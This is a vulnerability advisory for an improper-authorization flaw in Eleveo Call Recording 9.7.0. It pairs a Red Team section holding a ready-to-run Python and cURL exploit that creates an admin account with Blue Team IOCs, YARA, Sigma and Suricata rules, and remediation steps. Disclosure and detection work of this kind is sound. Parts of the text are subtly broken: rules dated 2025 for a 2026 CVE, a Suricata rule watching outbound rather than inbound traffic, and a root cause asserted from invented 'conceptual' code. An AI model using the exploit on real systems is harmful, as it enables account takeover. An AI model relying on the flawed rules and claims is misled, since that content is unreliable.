CVE-2026-15373

Executive Summary

CVE-2026-15373 is a critical improper authorization vulnerability in Eleveo Call Recording Software version 9.7.0. The flaw resides in the /callrec/userAddAction.do endpoint, where the role argument can be manipulated to escalate privileges or perform unauthorized actions. With a CVSS score of 9.8 (Critical), this vulnerability allows remote, unauthenticated attackers to compromise the confidentiality, integrity, and availability of the system. Public exploit code is available, and no vendor patch has been released. Immediate mitigation is required.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise software product (Eleveo Call Recording). No supply chain package security implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full data access possible.
• Integrity Impact: High (I:H) – Full data modification possible.
• Availability Impact: High (A:H) – Potential service disruption.

Threat Level: Critical. Public exploit availability and lack of patch make this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is an improper authorization (CWE-285) in the userAddAction.do servlet. The application fails to validate whether the requesting user has the necessary privileges to add or modify user roles. By manipulating the role parameter in a POST request to /callrec/userAddAction.do, an attacker can assign themselves or another user an elevated role (e.g., admin). This bypasses the intended access control mechanism.

Root Cause: The server-side code does not check the current user's session or role before processing the role parameter. The parameter is directly used to set the user's role in the database without validation.

Attack Flow:

1. Attacker identifies a target running Eleveo Call Recording 9.7.0.
2. Attacker sends a crafted HTTP POST request to /callrec/userAddAction.do with parameters like username=attacker&password=evil&role=admin.
3. The server processes the request and creates a new user with admin privileges.
4. Attacker logs in with the new admin account and gains full control.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual Java Servlet):

protected void doPost(HttpServletRequest request, HttpServletResponse response) {
    String username = request.getParameter("username");
    String password = request.getParameter("password");
    String role = request.getParameter("role");
    // No authorization check
    User user = new User(username, password, role);
    userDAO.save(user);
}

Patched Code (Conceptual):

protected void doPost(HttpServletRequest request, HttpServletResponse response) {
    // Check if current user is admin
    User currentUser = (User) request.getSession().getAttribute("user");
    if (currentUser == null || !"admin".equals(currentUser.getRole())) {
        response.sendError(HttpServletResponse.SC_FORBIDDEN);
        return;
    }
    String username = request.getParameter("username");
    String password = request.getParameter("password");
    String role = request.getParameter("role");
    // Validate role against allowed values
    if (!Arrays.asList("user", "admin").contains(role)) {
        response.sendError(HttpServletResponse.SC_BAD_REQUEST);
        return;
    }
    User user = new User(username, password, role);
    userDAO.save(user);
}

Note: No official patch is available. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Eleveo Call Recording 9.7.0
• Network access to the /callrec/userAddAction.do endpoint

Exploit (Python):

import requests

target = "http://target.com/callrec/userAddAction.do"
payload = {
    "username": "hacker",
    "password": "P@ssw0rd!",
    "role": "admin"
}

response = requests.post(target, data=payload)
if response.status_code == 200:
    print("[+] User created with admin role!")
    print("[+] Login at http://target.com/callrec/login.do")
else:
    print("[-] Exploit failed")

Manual Exploit (cURL):

curl -X POST http://target.com/callrec/userAddAction.do \
  -d "username=hacker&password=P@ssw0rd!&role=admin"

Lab Setup:

1. Deploy Eleveo Call Recording 9.7.0 in a VM.
2. Ensure the /callrec/userAddAction.do endpoint is accessible.
3. Run the exploit script to create an admin user.
4. Log in and verify elevated privileges.

Blue Team

Detection:

• Monitor HTTP POST requests to /callrec/userAddAction.do with unusual role parameters (e.g., admin, superadmin).
• Alert on creation of new users outside of normal business hours.
• Correlate with failed login attempts or unusual access patterns.

Hunting:

• Search logs for userAddAction.do requests with role parameter not equal to user.
• Look for multiple rapid user creation attempts.
• Check for accounts with admin privileges created recently.

Mitigation:

• Implement a WAF rule to block requests to /callrec/userAddAction.do with role=admin unless from trusted IPs.
• Apply input validation and server-side authorization checks.
• Restrict network access to the endpoint to authorized users only.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /callrec/userAddAction.do with parameters containing role=admin
• Unusual source IPs making requests to the endpoint
• Multiple user creation attempts in a short time

File IOCs:

• Log entries in application logs showing userAddAction.do with role=admin
• New user entries in the database with elevated roles

System IOCs:

• Unauthorized admin accounts in the application
• Changes to user role assignments

Detection Engineering

YARA Rule

rule CVE_2026_15373_Eleveo_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2026-15373 in Eleveo Call Recording"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-15373"
    strings:
        $s1 = "/callrec/userAddAction.do" ascii wide nocase
        $s2 = "role=admin" ascii wide nocase
        $s3 = "username=" ascii wide nocase
        $s4 = "password=" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: CVE-2026-15373 - Eleveo Call Recording Improper Authorization
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /callrec/userAddAction.do with role=admin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/callrec/userAddAction.do'
        cs-uri-query|contains: 'role=admin'
    condition: selection
falsepositives:
    - Legitimate admin user creation from trusted IPs
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-15373 - Eleveo Call Recording Improper Authorization Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/callrec/userAddAction.do"; http_uri;
    content:"role=admin"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2026-15373;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from untrusted networks.
2. Implement WAF rules to block requests to /callrec/userAddAction.do with role=admin or other elevated roles.
3. Restrict access to the endpoint via firewall or VPN to trusted IPs only.
4. Audit user accounts for any unauthorized admin users and remove them.

Long-term Fix:

• Apply server-side authorization checks before processing user creation.
• Validate the role parameter against a whitelist of allowed values.
• Implement proper session management and role-based access control (RBAC).
• Contact Eleveo for an official patch or upgrade to a non-vulnerable version.

Compensating Controls:

• Enable detailed logging and monitoring for the /callrec/userAddAction.do endpoint.
• Deploy an IDS/IPS with the provided Suricata rule.
• Conduct regular security assessments and penetration testing.

Valters IT